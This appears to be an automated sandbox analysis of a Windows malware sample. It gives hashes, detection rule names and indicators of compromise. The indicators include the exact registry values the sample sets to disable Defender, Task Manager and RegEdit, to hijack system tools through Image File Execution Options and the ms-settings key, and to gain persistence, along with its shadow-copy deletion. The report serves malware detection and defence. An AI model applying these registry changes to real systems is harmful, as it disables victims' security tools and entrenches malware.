Analysis
- max time kernel
150s - max time network
157s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
17/05/2026, 02:19
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260513-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 49KB
- Sample260517-csb8psby5s
- SHA256 02ec87f4a5aa5247e4c94538a628d41d7a96ec41127c0e5ca49a3dab2a5738c0
- MD5 ca9612a89fc03017f2dfe99e4540b819
- SHA1 508c5ccad52c3b4933a91e5afc9553eda2ff5bc9
- SHA512 3580d4bd96b914f0c4ba5ab80fb75a1fe8518f2771a1269b416bb976ba91bfa875b2deeab57581fc5261c98922e94a812debcd3b2e6b423f6035dd55c7d52304
- SSDEEP 768:gh8s/45EQU+tKjSgQCxRAeN/GJ4I//w4+DC1XXGblfA0kDgKFc7k3:UnO7U+3AAeIaIQ4oEXGblf9Lucg
- TLSH T1BA33E50437F94511F1BF5EBA4DB192119B30B8A7AC22D78E16D5058E1AB3B80CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4784-0-0x00000000003F0000-0x0000000000402000-memory.dmp disable_win_def behavioral2/files/0x001100000002bce0-2347.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral2/memory/4784-0-0x00000000003F0000-0x0000000000402000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral2/files/0x001100000002bce0-2347.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral2/memory/4784-0-0x00000000003F0000-0x0000000000402000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral2/files/0x001100000002bce0-2347.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5712 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5560 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 4732 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5784 sc.exe 1228 sc.exe 2488 sc.exe 3812 sc.exe 3500 sc.exe 4660 sc.exe 1424 sc.exe 2752 sc.exe 1900 sc.exe 4256 sc.exe 4552 sc.exe 908 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5484 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4692 ipconfig.exe 5520 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5444 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6048 vssadmin.exe 3024 vssadmin.exe 5284 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237545079256496" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell\open\command 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell\open 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell\open\command 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings\shell\open 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\ms-settings 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1112 schtasks.exe 1560 schtasks.exe 2384 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
